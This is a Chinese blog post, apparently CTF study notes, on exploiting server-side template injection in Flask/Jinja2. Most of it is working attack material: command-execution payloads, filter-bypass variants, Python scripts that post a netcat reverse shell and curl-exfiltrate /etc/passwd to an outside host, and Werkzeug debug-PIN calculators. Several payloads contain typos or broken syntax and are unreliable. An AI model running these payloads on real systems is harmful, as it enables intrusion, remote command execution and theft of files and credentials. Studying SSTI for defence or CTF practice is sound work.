SSTI 服务器端模板注入

发布时间 2023-08-09 10:10:20作者: Solitude0c

SSTI 服务器端模板注入


flask基础

不正确的使用模板引擎进行渲染时,则会造成模板注入

路由

from flask import flask 
@app.route('/index/')
def hello_word():
    return 'hello word'

route装饰器的作用是将函数与url绑定起来。例子中的代码的作用就是当你访问http://127.0.0.1:5000/index的时候,flask会返回hello word。

渲染方法

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

html = '<h1>This is index page</h1>'
return render_template_string(html)

常用的魔术方法和内置类

__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法

__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

__base__    //类型对象的直接基类

__bases__   //类型对象的全部基类,以元组形式,类型的实例通常没有属__bases__

__subclasses__() //继承此对象的子类,返回一个列表

__globals__ //返回一个由当前函数可以访问到的变量,方法,模块组成的字典,不包含该函数内声明的局部变量。

__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

__builtins__   //返回一个由内建函数函数名组成的列表。

__getitem__(index)  //返回索引为index的值。

url_for  //可以直接和__globals__配合,如:url_for.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分

lipsum  //flask的一个方法,可以直接和__globals__配合,如:lipsum.__globals__['__builtins__'],或者和string等配合,详情看迭代器部分

__init__   //该方法用于将对象实例化,如x.__init__.__globals__['__builtins__']
//{{''.__class__.__mro__[-1].__subclasses__()["type"].__init__.__globals__}}像这种找到了类要查看该类的方法要先__init__再用__globals__,直接用__globals__会报错

config  //查看配置文件

app

__doc__

get_flashed_messages // flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。

__dic__     // 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里

current_app          应用上下文,一个全局变量。

__import__     //动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]

常用注入模板

  • 文件读取

查找子类 __frozen__importlib__external.FileLoader

<class’__frozen__importlib__external.FileLoader’>

FileLoader的利用

[“get_data”](0,"/etc/passwd")

调用get_data方法,传入参数0和文件路径

读取配置文件下的flag

{{url_for.__globals__['current_app'].config.FLAG}}

{{get__flash__messages.__globals__['current_app'].config.FLAG}}

__frozen__importlib__external.FileLoader

  • 内建函数eval执行命令

内建函数:python在执行脚本时自动加载的函数

  • os模块执行命令

在其他函数中直接调用os模块

通过config,调用os

{{config.__class__.init__.globals__['os'].popen('whoami').read()}}

通过url_for,调用os

{{url_for.__globals__.os.popen('whoami').read()}}

在已经加载os模块的子类里直接调用os模块

{{::__class__.bases__[0].__subclasses__()[199].__init__.globals__['os'].popen("ls -l /opt").read()}}

os.py

  • importlib类执行命令

可以加载第三方库,使用load_module加载os

python脚本查找_frozen_importlib.BuiltinImporter

可以加载第三方库,使用load_module加载os

{{[].class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}

_frozen_importlib.BuiltinImporter

  • linecache函数执行命令

linecache函数可用于读取任意一个文件的某一行,而这个函数也引入了os模块,使用外卖也可以利用这个linecache函数去执行命令

  • subprocess.Popen类执行命令

subprocess意在替代其他几个老的模块或者函数,比如:os.system、os.popen等函数

找类的下标的脚本

import json
classes="""

"""
num=0
alllist=[]
result=""
for i in classes:
    if i==">":
        result+=i
        alllist.append(result)
        result=""
    elif i=="\n" or i==",":
        continue
    else:
        result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
    if "warnings.catch_warnings" in v:
        print(str(k)+"--->"+v)
#117---> <class 'warnings.catch_warnings'>

过滤bypass

过滤双大括号

过滤,即\{\{或者\}\}

{%%}使用介绍

{%%}是属于flask的控制语句,且以{%end…%}结尾,可以通过在控制语句定义变量或者写循环,判断

#用{%%}标记
{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

解题思路

判断{{}}被过滤

尝试{%%}

判断语句能否正常执行

{% if 2>1 %}ssti{%endif%}
{% if".__class__ %}ssti{%endif%}

有回显ssti说明.__class__有内容

{% if".__class__.__base__.subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read()%}ssti{%endif%}

如果有回显则证明命令正常执行

无回显

SSTI盲注思路

  • 反弹shell

通过RCE反弹一个shell出来绕过无回显的页面

  • 带外注入

通过requestbin或dnslog的方式将信息传到外界

  • 纯盲注
    (别问为什么没有,问多了没好处)

反弹shell

没有回显

直接使用脚本批量执行希望执行的命令

import requests

url = ""                   #目标靶机

for i in range(300):
        try:
                data = {"coded":'{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("netcat 192.168.1.1 7777 -e /bin/bash").read()}}'}
                response = requests.post(url,data=data)
        except:
                pass

带外注入

import requests

url = ""                   #目标靶机

for i in range(300):
        try:
                data = {"coded":'{{"".__class__.__base__.__subclasses__()[' + str(i) + '].__init__.__globals__["popen"]("curl http://192.168.1.1/`cat /etc/passwd`").read()}}'}
                response = requests.post(url,data=data)
        except:
                pass

纯盲注

getitem绕过中括号过滤

__getitem__()魔术方法

__getitem__()是python的一个魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值。

{{''.__class__.__base__.__subclasses__().__getitem__(1)}}
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat /etc/passwd').read()}}

request绕过单双引号过滤

request在flask中可以访问基于HTTP请求传递的所有信息

此request并非python的函数,而是在flask内部的函数

request.args.key       #获取get传入的key的值
request.values.x1      #所有参数
request.cookies        #获取cookies传入参数
request.headers        #获取请求头请求参数
request.from.key       #获取post传入参数(Content-Type:application/x-www-form-urlencoded
或multipart/form-data)
request.data           #获取post传入参数(Content——Type:a/b)           
request.json           #获取post传入json参数(Conten-Type:application/json)

POST提交payload

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()}}

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.from.k1](request.from.k2).read()}}&k1=popen;k2=cat /etc/passwd

cookie提交构造payload

{{().__class__.__base__.__subclasses__()[117].__init__.__globals__[request.cookies.k1](request.cookies.k2).read()}}

cookie:

k1=popen;k2=cat /etc/passwd

过滤器绕过下划线过滤

过滤器

过滤器通过管道符号(|)与变量连接,并且在括号中可能有可选的参数

flask常用过滤器

length() # 获取一个序列或者字典的长度并将其返回
int(): # 将值转换为int类型;
float(): # 将值转换为float类型
lower(): # 将字符串转换为小写
upper(): # 将字符串转换为大写
reverse(): # 反转字符串;
replace(value,old,new): # 将value中的old替换为new
list(): # 将变量转换为列表类型;
string(): # 将变量转换成字符串类型
join(): # 将一个序列中的参数值拼接成字符串,通常有python内置的dict()配合使用
attr(): # 获取对象的属性

attr绕过下划线过滤

{{''.__class__.base__.__subclasses__().__getitem__(117).__init__.globals__.__getitem__('popen')('cat /etc/passwd').read()}}

  1. 使用request方法

GET提交:

URL?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__geitem__

POST提交:

code={{()|attr(request.args.cla)|attr(request.arg.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('cat /etc/passwd')|attr('read')()}}

2 .使用Unicode编码

{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(199)|attr("__init__")|attr("__globals__")attr("__getitem__")("os")|attr("popen")("ls")|attr("read")()}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(199)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls")|attr("read")()}}
  1. 使用16位编码
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()[199]["["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("ls").read())}
  1. base64编码

  2. 格式化字符串

绕过点过滤

  1. 用中括号[]代替点

python语法除了可以使用点‘.’来访问对象属性外,还可以使用中括号‘[]’

{{()['__class__']['__base__']['__subclasses__'['__init__']['__globals__']['popen']('cat /etc/passwd')['read']}}
  1. 用attr()绕过

payload语句中不会用到点‘.’和中括号‘[]’

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')|attr('__getitem__')('os')|attr('popen')('cat /etc/passwd')|attr('read')()}}

绕过关键字过滤

过滤了“class”“arg”“form”“value”“int”“global”等关键字

__class__为例

  1. 字符编码
  2. 拼接“+”:‘__cl’+’ass__’
  3. 使用Jinjia2中的“~”进行拼接:{%set a=“__cla”%}{%set b=“ss__”%}
  4. 使用过滤器(reverse反转、replace替换、join拼接等):

{%set a=“__ssalc__”|reverse%}{{a}}

  1. 利用python的char():{%set chr=url_for._globals__['__builtins__'].chr%}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

length过滤器绕过数字过滤

过滤器length

{% set a='aaaaaaaaaaa'|length %}{{a}}                                       #10
{% set a='aaaaaaaaaaa'|length*'aaa'|length %}{{a}}                          #30
{% set a='aaaaaaaaaaa'|length*'aaaaaaaaaaaa'|length-'aaa'|length %}{{a}}    #117  

检验数字过滤

{{6*6}}

构造payload

{{''.__class__.base__.__subclasses__()[199].__init__.__globals__['os'].popen('ls /').read()}}

获取config文件

flask内置函数和对象

内置函数

lipsun                   #可加载第三方库
url_for                  #可返回url路径
get_flashed_message      #可获取消息

内置对象

cycler
joiner
namespace
config
request
session

可利用已加载内置函数或对象寻找被过滤字符串

可利用内置函数调用cuurent_app模块进而查看配置文件

current_app

调用current_app相当于调用flask

{{url_for.__globals__['current_app'].config}}

{{get_flasheed_messages.__globals__['current_app'].config}}

混合过滤绕过

dict()和join

dict(): #用来创建一个字典

join: #将一个序列中的参数值拼接成字符串

{%set a=dict(ssti=1)%}{{a}}                #创建字典a,键名ssti,键值1

{%set a=dict(__cla=1,ss=2)|join%}{{a}}     #创建字典a,join把参数值拼接成字符串

获取符号

利用flask内置函数和对象获取符号

{% set ssti=({}|select()|string()) %}{{ssti}}
#获取下划线
{% set ssti=(self|string()) %}{{ssti}}
#获取空格
{% set ssti=(self|string|urlencode) %}{{ssti}}
#获取百分号
{% set ssti=(app.__doc__|string) %}{{ssti}}

python debug pin码计算

1691223544435

  1. 获取用户名username
import getpass
username = getpass.getuser()
print(username)
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/etc/passwd').read()}}

/etc/passwd

  1. 获取app对象name属性

getattr(app,”__name__”,type(app).__name__)

from flask import Flask
app=Flask(__name__)

print(getattr(app,"__name__",type(app).__name__))

获取的是当前app对象的__name__属性,

若不存在则获取类的__name__属性,

默认为Flask

  1. 获取app对象module属性
import sys
from flask import Flask
import typing as t
app=Flask(__name__)

modname = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modname)

print(mod)
  1. mod的__file__属性

app.py文件所在路径

import sys
from flask import Flask
import typing as t
app=Flask(__name__)

modname = getattr(app,"__module__",t.cast(object,app).__class__.__module__)
mod = sys.modules.get(modname)

print(getattr(mod,"__file__",None))

一般在报错中找到

  1. uuid

实际上就是当前网卡的物理地址

import uuid

print(str(hex(uuid.getnode())))
{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/sys/class/net/eth0/address').read()}}

/sys/class/net/eth0/address

得到的是十六进制的,要将其转换为十进制

  1. get_machine_id获取

python flask版本不同,读取顺序也不同

1691224759883

{{{}.__class__.__mro__[-1].__subclasses__()[102].__init__.__globals__['open']('/proc/self/cgroup').read()}}

/etc/machine-id和/proc/sys/kernel/random/boot_id,/proc/self/cgroup /etc/machine-id + /proc/self/cgroup 或 /proc/sys/kernel/random/boot_id + /proc/self/cgroup

这里需要注意的是,做ctf一般都是docker,所以用/proc/self/cgroup的较多,但是,我遇到的是题有 /etc/machine-id + /proc/self/cgroup的,还有直接/etc/machine-id的,本人纯纯菜鸡,无从考察,遇到只能试了

uTools_1691545951627

3.6是md5

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '2485410388611',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '310e09efcc43ceb10e426a0ffc99add5c651575fe93627e6019400d4520272ed'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

3.8是sha1

import hashlib
from itertools import chain
probably_public_bits = [
    'root'
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]


private_bits = [
    '2485377579715',
    '26657bfd-2d70-45fa-97b3-99462feda893a978760431da5f75687bab5b1f25d9fffc9205b5acad80e2cc1bbd0df8359b36'
]


h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')


cookie_name = '__wzd' + h.hexdigest()[:20]


num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]


rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num


print(rv)

pin码的计算有

  • [GYCTF2020]FlaskApp

  • CTFshow-web801

偷懒就不写wp了(过程实在是非常心酸?)

最最最后是一些大佬的payload

{{5*5}} 直接执行
{% set a="test" %}{{a}}      //设置变量
{% for i in ['t ','e ','s ','t '] %}{{i}}{%endfor%}  //执行循环
{% if 25==5*5 %}{{"success"}}{% endif %}  //条件执行
{%print ’‘__.class__%} //会将执行结果输出,在{{过滤时有起效,如[GWCTF 2019]你的名字

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}
{{lipsum.__globals__.get("os").popen("tac f*").read()}}
{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}
{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}